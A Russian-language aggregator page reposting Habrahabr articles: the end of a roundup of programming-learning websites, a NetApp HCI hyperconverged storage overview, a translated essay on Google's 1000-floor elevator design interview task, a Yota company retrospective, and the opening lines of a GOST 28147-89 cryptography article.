Разнообразные задачи, достижения, тесты, просмотр наиболее лучших решений, обсуждения, ранги — все это делает сервис очень удобным и ценным для тех кто хочет порешать задачки на том или ином языке. Сейчас сервис поддерживает следующие языки: Clojure, C++, C#, Elixir, F#, Go, Haskell, Java, JavaScript, PHP, Python, Ruby, Rust, Shell, SQL, Swift, TypeScript.

Coursera



Coursera

Coursera — образовательная платформа, которая дает возможность пройти онлайн-обучение в ведущих образовательных учреждениях мира. Проект сотрудничает с университетами, которые публикуют и ведут в системе курсы по различным отраслям знаний.

Слушатели проходят курсы, общаются с сокурсниками, сдают тесты и экзамены непосредственно на сайте Coursera. В проекте представлены курсы по физике, инженерным дисциплинам, гуманитарным наукам и искусству, медицине, биологии, математике, информатике, экономике и бизнесу.

Продолжительность курсов примерно от шести до десяти недель с 1-2 часами видеолекций в неделю, курсы содержат задания, еженедельные упражнения и иногда заключительный проект или экзамен. За $40 вы можете получить сертификат от вуза, в котором прошли курс. На Coursera примерно 700 курсов в различных сферах деятельности.

Code Avengers



Code Avengers

Code Avengers предоставляет возможность обучаться в интерактивной и игровой форме основам HTML5, CSS3, JavaScript прямо в браузере. В ходе обучения вы сможете обучиться основам программирования и вёрстки шаг за шагом, выполняя небольшие задания.

На бесплатном аккаунте можно изучить 5 первых уроков каждого из курсов.Некоторые курсы доступны на русском языке (на текущий момент переведены HTML/CSS / JavaScript / Game Dev / Intro to Coding)

Khan Academy



Отличное место для людей, желающих научиться творить с помощью кода. Эта бесплатная платформа использует видеоуроки от экспертов, покрывающие много различных тем от математики и физики до истории и искусствоведения. Доступны приложения для Android и iOS, которые дадут вам возможность проходить курсы платформы где угодно.

Bento



Bento

Сайт создан StackOverflow разработчиком. Ресурс представляет собой тур по лучшим руководствам в интернете, туда входят интерактивные занятия, видео и материалы для чтения. Bento бесплатен и подает материал в абсолютно логичной последовательности.

Bloc.io



Bloc

Bloc помогает освоить профессии UI/UX-дизайнера и разработчика, с тем, чтобы создавать «современные адаптивные веб-сайты и мобильные приложения». У сервиса не совсем обычная система оплаты: за фиксированную сумму в 3 999 долларов можно выбрать один из трех вариантов нагрузки — 3 месяца по 40 часов в неделю, 4,5 месяца по 25–30 часов и 9 месяцев по 12–15 часов. Так обучение можно совместить с учебой в другом месте или даже работой.

CheckIO



CheckIO

CheckIO — ресурс для изучения и практики языка программирования Python. Обучение представлено в виде игры, в которой каждому пользователю необходимо в той или иной мере использовать свои знания. Например, первый этап обучения «Learning» — это цепочка задач от легкой к сложной. Причем, в описании самой задачи есть все справочные данные для ее решения.

Codingame



Codingame

Codingame.com — сервис для изучения различных языков программирования в игровой форме. В каждом случае от игрока требуется решить определенную проблему или исправить чужой код.

Codebabes



Codebabes

Изюминка нашего списка Codebabes.com. Все видеоуроки на этом интернет-ресурсе ведут молодые девушки. Специфика таких уроков в том, что по мере того, что материал усложняется, девушки… раздеваются. В каждом разделе предусмотрено нескольких видеороликов для обучения. На видео девушка, которая ведет курс, на протяжении нескольких минут объясняет пользователю одну из тем какого-либо блока.

MIT OpenCourseware



MIT OpenCourseWare — это специальный ресурс Массачусетского технологического института, на котором собраны многие обучающие курсы, лекции и семинары. OpenCourseWare содержит материалы более чем 2 000 курсов. На сайте есть аудио и видеокурсы, поиск по каталогу, по номеру курса, по наименованию дисциплины, все предметы и степень сложности разделены в отдельные рубрики.

The Code Player



С помощью этого ресурса вы можете просматривать интерактивные презентации, которые объясняют как писать программы с нуля. Вы не только видите написание кода, но и можете понять какие изменения в конечный продукт вносит каждая строка кода.

Mozilla Developer Network



Проект представляет собой онлайн-коллекцию документов из различных источников, которые посвящены веб-разработке и подходят людям с любым уровнем подготовки: от экспертов до студентов и начинающих. MDN это вики, а значит, любой человек может вносить в нее правки и исправлять неточности.

HTML5Rocks



HTML5Rocks это подборка бесплатных уроков для помощи в решении различных проблем. К видео часто прилагают разные письменные инструкции, диаграммы, а в комментариях можно найти полезные разъяснения.

CSS-Tricks



Подробное изучение CSS при помощи большого альманаха по CSS. Сейчас блог охватывает много тем, помимо CSS – например, Sass, JavaScript, PHP и прочее. Вы можете ознакомиться с огромным количеством ресурсов и даже с фрагментами кода.

Tuts+



Полезный англоязычный образовательный портал с аудиторией около 5-ти миллионов пользователей. Большое количество бесплатных обучающих программ по различным отраслям программирования, а также платных курсов. Более 600 видеокурсов и электронных книг.

Code4Startup



Code4startup.com — обучение разным языкам программирования и фреймворкам на примерах успешных стартапов. Например, Code4Startup предлагает изучить AngularJS и FireBase создавая клон TaskRabbit, а HTML 5, CSS и jQuery копируя Airbnb (потом можно будет создать и гибридное мобильное приложение для сервиса).

Русскоязычные сайты для изучения программирования:



HTML Academy



HTML Academy

Это интерактивные онлайн-курсы по HTML и CSS, которые помогут вам пройти путь от решения простых практических задач, до создания полноценных сайтов. Практике здесь уделяется большое внимание, каждый новый материал подкрепляется примерами и контрольными заданиями, которые вам придется решить для перехода к следующему уроку.

Hexlet



Hexlet

Hexlet — это открытая веб-платформа для обучения программированию, предлагающая короткие курсы длительностью в несколько часов для разработчиков программ, от новичков до профессионалов. Все учебные программы состоят из двух частей: теоретической и практической.

Lendwings



LendWings

LendWings – эта платформа предлагает видеолекции лучших преподавателей со всего мира на русском языке, но не все курсы бесплатны. LendWings позволяет пользователям подключаться к обучающим курсам независимых преподавателей («инструкторов»), которые предоставляют обучение при помощи записанных видеолекций, текстовых документов, слайдов, презентаций и других материалов.

Geekbrains



geekbrains

Это онлайновая школа обучения программированию, системному администрированию, дизайну и интернет-маркетингу. Каждый курс GeekBrains имеет подробную программу и отзывы. Занятия охватывают почти все отрасли разработки и готовят к конкретной работе в той или иной области IT. Для студентов, также доступны программы стажировок и сертификации.

JavaRush



javarush

JavaRush обучает программированию на Java в форме онлайн-игры. Игра сделана по мотивам вселенной Футурамы. Цель игры — прокачать персонажа (робота Амиго) с 1 до 80-го уровня. В игре вы выполняете задания и зарабатываете черную материю, которую тратите на открытие новых уровней. Курс JavaRush содержит 1200 практических задач возрастающей сложности.

Javascript.ru



javascript.ru

Целью сайта является предоставление максимально грамотной и, по возможности, актуальной информации о javascript и смежных технологиях. Присутствует учебник, инструментарий и большое количество правильных статей для общего развития. Доступен для скачивания оффлайн-вариант справочника. Есть несколько достаточно сложных тестов.

ITVDN



itvdn

Ресурс для онлайн-обучения программированию, предлагающий не только видеоуроки для самостоятельного просмотра, но и бесплатные сервисы, позволяющие формировать практические навыки написания кода. Каждый пользователь имеет возможность формировать практические навыки с помощью Тренажера, общаться с другими студентами на форуме, читать интересные публикации в блоге, слушать бесплатные IT-вебинары. Сами видеокурсы входят в более крупные образовательные модули — «IT Специальности»

Проголосуйте ниже за ресурс, который был вам полезен в изучении программирования. Или оставьте свой комментарий, если среди перечисленных не нашли свой любимый.
Какой ресурс для изучения программирования был вам полезен?

Проголосовало 23 человека. Воздержалось 19 человек.

Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/331530/


Метки:  

NetApp HCI - гиперконвергентная система нового поколения для работы с данными

Пятница, 30 Июня 2017 г. 14:43 + в цитатник
Развитие систем хранения данных и управления ими прошли долгий путь развития, будучи критичными для любого корпоративного IT решения. Сегодня наиболее совершенными являются гиперконвергентные системы, которые имеют целый ряд преимуществ перед используемыми сегодня и устаревшими наследуемыми системами. Они дешевле, проще в управлении, легко масштабируются и обеспечивают точное соответствие своих ресурсов потребностям предприятия.



В данной статье дана сравнительная характеристика традиционных, конвергентных и гиперконвергентных систем, связанных с хранением и обработкой данных. Рассматриваются варианты масштабирования аналогичных корпоративных систем и архитектура Scale-Out. Приведены описание и характеристика гиперконвергентной системы нового поколения для работы с данными NetApp HCI.

Конвергентные и традиционные системы

Конвергентные системы (converged systems) - это результат естественного прогресса, уход от традиционной IT инфраструктуры, которая всегда была связана с созданием обособленных и не связанных друг с другом «бункеров» для хранения и обработки данных.

Для наследуемой окружающей IT среды, как правило, создавались отдельные административные группы (коллективы специалистов) для систем хранения, для серверов и для поддержки сети. Например, группа систем хранения занималась покупкой, обеспечением и поддержкой инфраструктуры хранения данных. Она также поддерживала отношения с поставщиками аппаратных средств хранения. То же касалось групп серверов и сети.

Конвергентная система объединяет два или больше из этих компонентов IT инфраструктуры, как предварительно спроектированное решение. Лучшие решения данного класса объединяют все три компонента, которые тесно связаны между собой соответствующим ПО.

Явное преимущество такого решения - относительно простой дизайн для сложной IT инфраструктуры. Идея состоит в том, чтобы создать единую команду для поддержки, - так же, как ориентироваться на единственного продавца для поддержки всех необходимых компонентов.

Конвергентные и гиперконвергентные системы

Гиперконвергентные системы (HCS) выводят само понятие «convergence» на новый уровень. Конвергентные системы типично состоят из отдельных компонентов, спроектированных так, чтобы они хорошо работали вместе. HCS типично представляют собой модульные решения, разработанные для масштабирования за счет включения в систему дополнительных модулей. Фактически они выполняют «размасштабирование» большой системы хранения данных за счет слоя ПО контроллера.


Типичные архитектуры традиционной и гиперконвергентной систем хранения данных и управления ими

Чем больше устройств хранения добавляется, тем больше их общая емкость и производительность. Вместо того, чтобы расширяться, добавляя больше дисков, памяти или процессоров, просто добавляются новые самостоятельные модули, содержащие все необходимые ресурсы. В дополнение к упрощенной архитектуре используется упрощенная модель администрирования, поскольку HCS управляются через единый интерфейс.

Вертикальная и горизонтальная масштабируемость

Масштабируемость понимается как способность систем некоторых типов продолжать функционировать должным образом при изменении их размера (или объема) для соответствия потребностям пользователей. В некоторых контекстах масштабируемость понимается как способность удовлетворить большие или меньшие запросы пользователей. В контексте хранения чаще говорят об удовлетворении спроса на больший объем.


Схематическое представление вертикальной и горизонтальной масштабируемости

Вертикальная масштабируемость (scale-in) - увеличение возможностей существующих аппаратных средств или ПО за счет добавления новых ресурсов к физической системе - например, вычислительной мощности к серверу, чтобы сделать его быстрее. В случае систем хранения это означает добавление новых контроллеров, дисков и модулей ввода\вывода к существующей системе по мере необходимости.

Горизонтальная масштабируемость (scale out) подразумевает соединение многих автономных единиц так, чтобы они работали общей и единственной логической единицей. При горизонтальном масштабировании, например, может быть много узлов, удаленных географически.

Архитектура Scale-out storage

Согласно концепции архитектуры scale out, новые группы устройств могут быть добавлены в систему почти без пределов, по мере требования. Каждое устройство (или узел, node) имеет некоторую емкость хранения данных. Она, в свою очередь, может набираться дисковыми устройствами и иметь собственную вычислительную мощность, - как и полосу пропускания ввода / вывода (input/output, I/O).

Включение этих ресурсов означает, что, увеличивается не только емкость, но и производительность работы с данными. Масштаб системы растет по мере добавления узлов, объединяемых в кластеры. Для этого часто используются x86 серверы со специальной ОС и системами хранения, связанными через внешнюю сеть.

Пользователи администрируют кластер как единую систему и управляют данными в глобальном пространстве имен или в распределенной файловой системе. Таким образом, они не должны волноваться о фактическом физическом расположении данных.

NetApp Enterprise-Scale HCI: новое поколение гиперконвергентных систем

Безусловно, в ряде случаев специальные и уникальные решения (сделанные на заказ системы хранения, сеть, серверы) остаются лучшим выбором. Однако другие варианты - «as-a-service», converged infrastructure (CI) и software-defined systems (SDS) быстро захватывают рынок IT инфраструктуры, и это движение будет доминирующим в последующие несколько лет.

Рынок CI растет очень быстро, поскольку организации стремятся к меньшей сложности эксплуатации и быстрому внедрению IT. Платформы Hyper Converged Infrastructure (HCI) появились в результате их естественного развития, поскольку организации уже переходят к построению информационных центров следующего поколения.

Ожидается также, что к 2020 г. 70% функций управления хранением данных будет автоматизировано и они войдут в инфраструктурную платформу. NetApp HCI представляет следующее поколение гиперконвергентной инфраструктуры и является первой HCI платформой, разработанной для приложений масштаба предприятия.

Первое поколение решений HCI было более подходящим для проектов относительно небольшого масштаба, - клиенты нашли, что в них имеется довольно много архитектурных ограничений. Они касались многих аспектов - производительности, автоматизации, смешанных рабочих нагрузок, масштабирования, гибкости конфигурации и др.

Это, конечно, противоречило стратегии построения информационного центра следующего поколения, где «проворство», масштабирование, автоматизация и предсказуемость являются обязательными требованиями.

Введение в NetApp HCI

NetApp HCI - первое гиперконвергентное инфраструктурное решение масштаба предприятия. Решение обеспечивает подобную облаку инфраструктуру (ресурсы хранения, а также вычислительные и сетевые) в «проворном», масштабируемом, легком в управлении стандартном блоке с четырьмя узлами (node).

Решение разработано на основе флэш-системы хранения данных SolidFire. Простое централизованное управление через VMware vCenter Plug-in дает полный контроль над всей инфраструктурой через интуитивный пользовательский интерфейс.

Интеграция с NetApp ONTAP Select открывает новый диапазон возможностей развертывания - как для существующих клиентов NetApp, так и для тех, кто хочет модернизировать свой датацентр. NetApp HCI решает ограничения в текущем поколении предложений HCI четырьмя ключевыми способами:

Гарантируемая производительность. Специализированные платформы и большая избыточность сегодня не представляются приемлемым выбором. NetApp HCI - решение, которое обеспечивает «гранулированный» контроль работы каждого приложения, который «устраняет шумных соседей». Все приложения развертываются на общей платформе. При этом, по данным компании, устраняется более 90% традиционных проблем производительности.

Гибкость и масштабирование. Предыдущие поколения HCI имели фиксированные ресурсы, ограничиваясь несколькими конфигурациями узла. Теперь NetApp HCI имеет независимые ресурсы хранения и вычислений. В результате NetApp HCI хорошо подходит для конфигураций любого масштаба.

Автоматизированная инфраструктура. Новая утилита NetApp Deployment Engine (NDE) устраняет большинство ручных шагов при развертывании инфраструктуры. VMware vCenter Plug-in делает управление простым и интуитивным. Соответствующий API позволяет интеграцию в системы управления верхнего уровня, обеспечивает резервное копирование и аварийное восстановление. Время возвращения системы в рабочее состояние после сбоев не превышает 30 минут.

The NetApp Data Fabric. В ранних поколениях платформ HCI существовала необходимость введения новых групп ресурсов в IT инфраструктуру. Очевидно, что это - неэффективный подход. NetApp HCI интегрируется в «ткань данных», NetApp Data Fabric. Это увеличивает мобильность данных, их видимость и защиту, позволяя использовать весь потенциал данных - в локальном (on-premise), публичном или гибридном облаке.

NetApp Data Fabric


Модель развертывания Data Fabric

NetApp HCI представляет собой решение «из коробки», сразу готовое работать в среде Data Fabric. Таким образом, пользователь получает доступ ко всем своим данным, которые находятся в публичном или гибридном облаке.

NetApp Data Fabric - определяемый ПО подход к управлению данными, которое позволяет предприятиям использовать несовместимые ресурсы хранения данных и обеспечить непрерывное потоковое управление данными между локальными и облачными хранилищами.

Продукты и сервисы, которые составляют NetApp Data Fabric, разработаны так, чтобы обеспечить клиентам свободу. Они должны быстро и эффективно перемещать данные в/из облака, при необходимости восстанавливать облачные данные и перемещать их из облака одного провайдера в облако другого.

Основа NetApp Data Fabric - операционная система для систем хранения данных Clustered Data ONTAP. Как часть Data Fabric, NetApp разработала специальную облачную версию ONTAP for Cloud. Она создает виртуальную СХД NetApp в пределах публичной облачной среды уровня предприятия.

Эта платформа позволяет сохранять данные тем же способом, которым это осуществляется во внутренних системах NetApp. Непрерывность позволяет администраторам перемещать данные туда, где и когда это необходимо, не требуя никаких промежуточных преобразований. В свою очередь, это фактически позволяет расширять датацентр предприятия. за счет публичного облака провайдера.

NetApp впервые представила концепцию Data Fabric в 2014 на своей ежегодной конференции Insight. Согласно NetApp, это стало ответом на потребность ее клиентов получать объединенное представление о данных предприятия, которые хранятся во многих внутренних и внешних датацентрах. В частности, с Data Fabric предприятия получили легкий доступ к своим корпоративным данным, находящимся в публичных облаках Google Cloud Platform, Amazon Simple Storage Service (S3), Microsoft Azure и IBM SoftLayer.

Соответствие требованиям предприятия

Одна из самых больших проблем в любом датацентре - предсказуемость необходимой в данный момент производительности. В наибольшей степени это касается «разрастающихся» приложений и их рабочих нагрузок, которые иногда могут быть очень интенсивными.

Каждое предприятие использует большое количество корпоративных приложений, использующих одну и ту же IT инфраструктуру. Таким образом, всегда есть потенциальная опасность того, что какое-либо приложение будет мешать работе другого.

В частности, у важных приложений, - таких, как, например, виртуальная десктопная инфраструктура (Virtual Desktop Infrastructure, VDI) и приложения базы данных, механизмы ввода / вывода довольно сильно разнятся и имеют тенденцию воздействовать на друг друга. HCI NetApp устраняет проблему непредсказуемости, обеспечивая необходимую производительность в каждый момент.

NetApp HCI доступен для малых, средних и больших конфигураций систем хранения данных и вычислений. Система может наращиваться с шагом 1RU. В результате предприятия могут очень точно определять требуемые им ресурсы и не иметь незадействованных избыточных аппаратных средств.

Основная задача каждого IT подразделения - автоматизировать все обычные задачи, устраняя риск ошибок пользователя, связанных с ручными операциями и освободить ресурсы для решения более приоритетных и сложных бизнес-задач. NetApp Deployment Engine (NDE) устраняет большинство ручных операций по разворачиванию инфраструктуры. В то же время программное расширение vCenter делает управление в виртуальной среде VMware простым и интуитивным.

Наконец, набор API позволяет выполнять «бесшовную» интеграцию подсистемы хранения и обработки данных в системы управления более высокого уровня, а также обеспечивает резервное копирование и аварийное восстановление данных.

NetApp HCI объединяет и поддерживает следующие технологии:

  • NetApp SolidFire Element OS - SolidFire Storage Operating System, позволяет быстро масштабировать узел хранения данных.
  • Intuitive Deployment Engine - развертывает и формирует компоненты ПО для управления ресурсами хранения и вычислений.
  • Robust Monitoring Agent - осуществляет мониторинг ресурсов HCI и устройств хранения, а также отсылает информацию в vCenter и Active IQ.
  • NetApp SolidFire vCenter Plugin - предоставляет исчерпывающий набор функций для управления хранением данных.
  • NetApp SolidFire Management Node - VM для мониторинга и апгрейда HCI с поддержкой удаленного управления.
  • VMware ESXi and vCenter v6 - хост для виртуализации и управления ПО.
  • NetApp Data Fabric - обеспечивает интеграцию с помощью средств SolidFire Element OS, включая SnapMirror, SnapCenter, файловые сервисы ONTAP Select, а также средства резервного копирования AltaVault и StorageGRID.



Минимальная конфигурация NetApp HCI: два конструктива (шасси), в которых в совокупности имеется четыре модуля для флеш-памяти, два вычислительных модуля и два пустых отсека для дополнительных модулей


Внешний вид одного модуля NetApp HCI с обратной стороны

Спецификации NetApp HCI



Effective Block Capacity - один из параметров дедупликации, зависит от типа данных. Подробнее см. здесь.

Система будет доступна к заказу не ранее осени этого года. За детальной информацией обращайтесь по адресу netapp@muk.ua.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/332012/


Метки:  

[Перевод - recovery mode ] Задание для дизайнеров от Google: почему большинство решений не годятся

Пятница, 30 Июня 2017 г. 14:04 + в цитатник
Задания по дизайну — идея не новая: многие компании прибегают к ним, чтобы оценить, как кандидат на вакансию справляется с решением проблем. Но задание, которое недавно стала предлагать на собеседованиях компания Google, захватило дизайнерское сообщество всерьез.



Какой интерфейс вы бы предложили для лифта в здании в 1000 этажей?

Дизайнеры со всего света подключились к решению задачи. В Сети можно найти десятки статей, диаграмм, проектов и набросков, в которых люди пытаются спроектировать идеальный интерфейс для лифта 1000-этажного здания.

Но при этом практически каждое решение, которое мне встречалось, следовало бы отмести сразу — и всегда по одной и той же причине.



Дизайн от Jherin Miller




Дизайн от Kristine Yuen

Рефлекс строить предположения


Когда друг говорит нам: «Пойду в кинотеатр», мы на автомате предполагаем, что он будет смотреть фильм — наш личный опыт говорит, что именно по этой причине люди обычно отправляются в кинотеатр. Но, на самом деле, он вовсе не утверждал, что собирается смотреть фильм. Вероятно, конечно, мала, но, возможно, у него назначена там встреча или ему просто нравится переплачивать за «Скиттлз». Сталкиваясь с каким-то сценарием, мы обычно достраиваем ситуацию так, как подсказывает здравый смысл.

Именно этот когнитивный рефлекс нам, дизайнерам, следует подавлять в себе. И первая линия обороны — это вопросы. У опытного дизайнера всегда больше вопросов, чем ответов.

Итак, приступим


Прежде чем мы взлетим на 1000-й этаж, необходимо для начала изучать фундамент — выявить все ограничения и изучить широкий контекст.

Цель

«Предположим, лифт довольно просторный, может вместить человек 50. В нем наверняка есть сидения для желающих отдохнуть и телевизор...» — случайное решение из интернета.

Когда мы задумываемся о лифтах, в памяти тут же всплывают все случаи, когда мы на них ездили, и, соответственно, рефлекс строить предположения внушает нам, что лифты нужны для перевозки людей. Но что если лифт, о котором идет речь, предназначен для перевозки животных, автомобилей или стиральных машин?

Эта ошибка допускается в большинстве решений: они предлагают интерьер, рассчитанный на человека, оснащенный телевизорами, NFC-устройствами для считывания карт и электронными каталогами, хотя нет никакого резона думать, что пользоваться лифтом будут именно люди.

Контекст

«Кто живет в этом здании?

«1000-этажное здание гипотетически может вмещать целый город, жители которого живут в пределах единой мегаструктуры. Поэтому представляется логичным, что все, что должно быть в городе (парки, школы, детские площадки, больницы, театры), располагается внутри». — случайное решение из интернета.

Второе ошибочное предположение заключается в мысли, что и само здание население людьми. Опять же, нет никаких указаний на то, что оно содержит в себе жилые пространства или коммерческие помещения. Тем не менее, многие решения включают электронные каталоги со встроенной возможностью поиска нужного вам воображаемого жильца.

Почему бы не предположить, что здание является автомобильной парковкой или же промышленным складом для стиральных машин?

Пользователи

Эта цепочка рассуждений быстро приводит нас к выводу: мы не знаем, кто будет пользоваться лифтом и какие у них будут потребности. На кого должен быть рассчитан интерфейс — на жильцов, которые добираются на лифте до свой квартиры, или на оператора фабрики по производству стиральных машин, который управляет сразу несколькими промышленными лифтами? Есть ли вообще необходимость в интерфейсе? Может быть, вся система автоматизирована?

Еще больше беспокойства вызывает то, что не все строят предположения безотчетно — есть и те, кто делает это умышленно. Многие решения начинаются с перечисления предположений, которые дизайнер принимает как реальность, чтобы исключить возможность ошибки.

«Предположения, которые я принимаю в этом сценарии:

— Все жильцы и арендаторы офисов снабжены необходимым числом ключей;
— В холле имеется пункт охраны;
— Чтобы фундамент был достаточно прочным, ширина здания должна составлять как минимум десяток кварталов…
» — случайное решение из интернета.

Это все не имеет никакого отношения к делу. Если мы начнем выдумывать произвольные ограничения, то, что было заданием по дизайну, превратится в упражнение на развитие фантазии. Можно с тем же успехом предположить, что лифт может читать мысли, и тогда необходимость в интерфейсе отпадает. Натяжка тут не больше, чем в предположении, что лифт вообще предназначен именно для перевозки людей. Правда в том, что при заданных условиях ответ может быть только один:



«Для осмысленного ответа недостаточно данных» — Айзек Азимов

Потенциальные работодатели дают задания по дизайна не затем, чтобы вы поразили их своей изобретательностью и гениальными решениями. Они хотят посмотреть, как вы будете действовать: начнете задавать уточняющие вопросы, чтобы очертить рамки допустимого, или кинетесь рисовать на доске, не вникнув как следует в задачу. Чтобы стать дизайнером нужно постоянно подавлять в себе рефлекс строить предположения, чтобы тщательно разобраться в контексте решаемой проблемы, а это требует дисциплины в рассуждениях и самоконтроля. Конечно, гарантированного рецепта, следуя которому можно справиться с любым заданием, не существует, но самый верный способ провалиться — давать ответы, прежде чем станет ясен вопрос.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/332002/


Метки:  

Ретроспектива. 10 лет Yota и 10 любопытных фактов о компании

Пятница, 30 Июня 2017 г. 14:00 + в цитатник

В этом году Yota исполнилось десять лет. За это время чего только не было: компания первой вышла на российский рынок с LTE, успела запустить и закрыть сети WiMAX, сделала доступным безлимитный 4G-интернет для 78 регионов, впервые использовала дроны для доставки SIM-карт и работала с космическими материалами при создании аксессуаров. В общем, мы собрали 10 самых интересных фактов о компании по случаю юбилея и перезапустили блог на Geektimes. Снова здравствуйте!


2007. Три сотрудника и все в кедах
Формально история Yota началась в 2006 году, когда Денис Свердлов и Сергей Адоньев заинтересовались возможностью создания интернет-оператора. Тогда в качестве технологии выбрали новейшую на тот момент WiMAX. Широкополосный мобильный доступ в интернет практически не был представлен в России, можно было первыми выйти на этот рынок.


2008. Логотип в виде перевернутого человечка
Стартап быстро набрал силу, и спустя год Yota первая запустила в тестовую эксплуатацию сеть беспроводного широкополосного доступа по технологии Mobile WiMAX в Москве и Санкт-Петербурге. Всего в двух городах установили 150 базовых станций, работающих в диапазоне 2,5 — 2,7 ГГц. Скорость доступа позволяла смотреть на разных пользовательских устройствах кино в высоком разрешении с доступной абонентской платой: тариф Yota Макс стоил 1400 рублей в месяц, Yota Мини – 900 рублей.
![image]()


В ноябре HTC представили первый в мире полноценный WiMAX-коммуникатор HTC MAX 4G, который был создан по нашему заказу специально для России. Устройство позволяло работать в WiMAX сети Yota, предоставляя доступ ко всем предустановленным сервисам Yota: Yota ТВ, Yota видео, Yota музыка. Приобрести смартфон можно было за 28900 рублей.
![image]()


![image]()


К тому времени в компании трудилось уже около 400 человек. И тогда же в лондонском агентстве “300 Millions” создали логотип для Yota — перевёрнутого человечка, который используется до сих пор. Он отражает ключевые характеристики бренда — оригинальность, радость и свобода действий.


2009. Первые успехи и выход на самоокупаемость
Мы активно расширяем свою сеть. В 2009 году Yota стала доступна жителям Уфы, Краснодара и Сочи, а также добралась до столицы Никарагуа и вышла на рынок соседней Белоруссии. Было расширено покрытие сети в двух российских столицах — Москве и Санкт-Петербурге. В результате по итогам октября 2009 года компания впервые вышла на самоокупаемость, заработав $6 млн, а в декабре нашими услугами пользовались уже 250 000 человек. Этот результат оценил и президент Дмитрий Медведев, вручив разработчикам Yota гран-при премии «Прорыв» на молодежном «Форуме победителей».
В октябре 2009 года мы выпустили мобильный роутер Yota Egg для раздачи интернета по Wi-Fi.
![image]()


2010. Первая сеть стандарта LTE в России
Осенью в Казани Yota запустила первую российскую сеть стандарта LTE, позволяющего обмениваться данными между мобильными устройствами со скоростью до 100 Мбит/с. Сеть была запущена всего на один день, а ее строительство обошлось компании в $20 млн. На тестовых компьютерах во время презентации журналистам удалось получить стабильную скорость скачивания 20 Мбит/с. Подробнее о том, как это было.


Ближе к концу года Yota организовала в Санкт-Петербурге некоммерческий международный фестиваль цифрового интерактивного искусства Yota Space.


2011. Запуск первой коммерческой сети LTE
В сентябре компания получила разрешение Государственной комиссии по радиочастотам (ГКРЧ) на использование ранее выделенного под WiMAX диапазона для запуска сети LTE. Таким образом, компания стала первым оператором LTE в России, а 20 декабря 2011 года состоялся официальный запуск коммерческой сети в Новосибирске. Сеть была полностью готова к совместной эксплуатации несколькими операторами.


Летом 2011 года в продажу поступили две новинки: роутер Yota Many и модем Yota One.
![image]()


2012. $60 млн на запуск новой сети
В феврале Yota объявила о грядущем переходе на новую технологию. Мы приняли решение переключить сети WiMAX на беспроводную передачу данных по технологии LTE. Общее количество базовых станций стандарта LTE превысило существующее число WiMAX-станций в Москве в 1,5 раза, а в Подмосковье — в 10 раз. Общие же инвестиции в запуск новой сети, включая замену абонентского оборудования, составили $60 млн.
![image]()


В ночь с 9 на 10 мая отключили московскую сеть WiMAX — с этого момента Yota официально перешла на более перспективную технологию LTE. На следующий день началась бесплатная замена устройств WiMAX на LTE. Всего было выдано 240 000 устройств, что составило 80% активной клиентской базы. За пять месяцев после коммерческого запуска LTE компания набрала около 600 000 активных пользователей.
![image]()


В октябре 2012 года Yota представила первую коммерческую сеть мобильной связи на основе технологии LTE-Advanced. Эта сеть состояла из 11 базовых станций. LTE-A обеспечивает скорость передачи данных до 300 Мб/сек., и сегодня эта технология доступна жителям Москвы и Санкт-Петербурга.


2013. Слияния и поглощения
В 2013 году сеть Yota охватила 26 городов России.
А главным событием года стала продажа «МегаФону» 100% акций компании «Скартел», владеющей брендом Yota. Таким образом, в ноябре 2013 года компания ООО "Йота" присоединилась к ООО "Скартел”, а общая стоимость компаний составила более $1 млрд.


2014. Четвертый мобильный оператор


В 2014 в жизни компании наступил новый важный этап. Помимо мобильного 4G-интернета, мы начали предоставлять услуги голосовой связи, став четвёртым федеральным оператором с префиксом +7-999. На момент запуска количество предзаказов SIM-карт превысило 150 тысяч. В августе 2014 мы начали выдавать наши SIM-карты для смартфонов в шести регионах: Москве и Московской области, Санкт-Петербурге и Ленинградской области, Приморском крае, Хабаровском крае, Владимирской и Тульской областях.
![image]()


![image]()


Компания расширяет присутствие в регионах: сотовая связь Yota доступна уже в 52 регионах страны, безлимитный 4G-интернет – в 34 городах России.


2015. Инновационные способы доставки SIM-карт
Компания растет и развивается. SIM-карты Yota для смартфонов и планшетов можно приобрести уже в 71 регионе, а модемы и роутеры — в 66.


В сентябре 2015 года мы провели эксперимент, освоив альтернативный способ доставки товаров — организовали первую в мире доставку SIM-карт беспилотниками. За один месяц дроны прилетели к 964 клиентам Yota. Акция действовала только в Москве: чтобы получить SIM-карту Yota необычным способом, нужно было просто прийти к любому Yotaport с паспортом и заполнить договор. Для клиентов Yota доставка была бесплатной. За время эксперимента дроны пролетели 578 км, и это вышло дешевле курьерской доставки.
![image]()


![image]()


2016. Космические технологии для повседневных вещей
В 2016 году Yota первая в мире предложила своим клиентам бесплатное общение в зарубежном роуминге. Пользователи Yota могут переписываться в пяти самых популярных мессенджерах — WhatsApp, Viber, Telegram, Facebook Messеnger, iMessage даже при нулевом балансе.


В марте 2016 года вышло первое официальное мобильное приложение Yota для пользователей Windows Phone и Windows 10 Mobile. Как это было: в качестве эксперимента двое молодых программистов из Новосибирска написали неофициальный клиент, а после предложения присоединиться к команде переехали в Санкт-Петербург, и написали новое, официальное приложение.


В мае Yota запустила новый продукт для юридических лиц: безлимитный интернет и звонки в сети Yota за 0 рублей.
![image]()


2017. Yota сегодня
Спустя 10 лет с момента основания компании, её штат увеличился с трех до 1200 сотрудников. К офисам в Санкт-Петербурге и Москве добавилось шесть крупных региональных офисов, а также 35 мини-офисов по всей России. Купить SIM-карты Yota для смартфонов и планшетов можно в 81 регионе России, а для модемного продукта безлимитный 4G-интернет доступен в 78 регионах.


И после долгого молчания мы снова запускаем наш блог на Хабре. Подписывайтесь, будет интересно.
![image]()

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/332008/


Метки:  

Третье пришествие ГОСТ 28147-89 или «Русская рулетка»

Пятница, 30 Июня 2017 г. 13:35 + в цитатник
До середины 60х годов прошлого века, в эпоху арифмометров и логарифмических линеек, криптографические системы разрабатывали инженеры. Тогда роль математиков сводилась к криптоанализу и внедрению в алгоритмы скрытых бэкдоров.
С появлением ЭВМ, математики полностью оккупировали тему криптографии, цифровое представление данных их вотчина.
Но прогресс не стоит на месте, появились квантовые вычислители и квантовая передача данных, и там данные представляются не в виде чисел, а в виде квантовых состояний, это означает приход в тему обработки информации физиков.
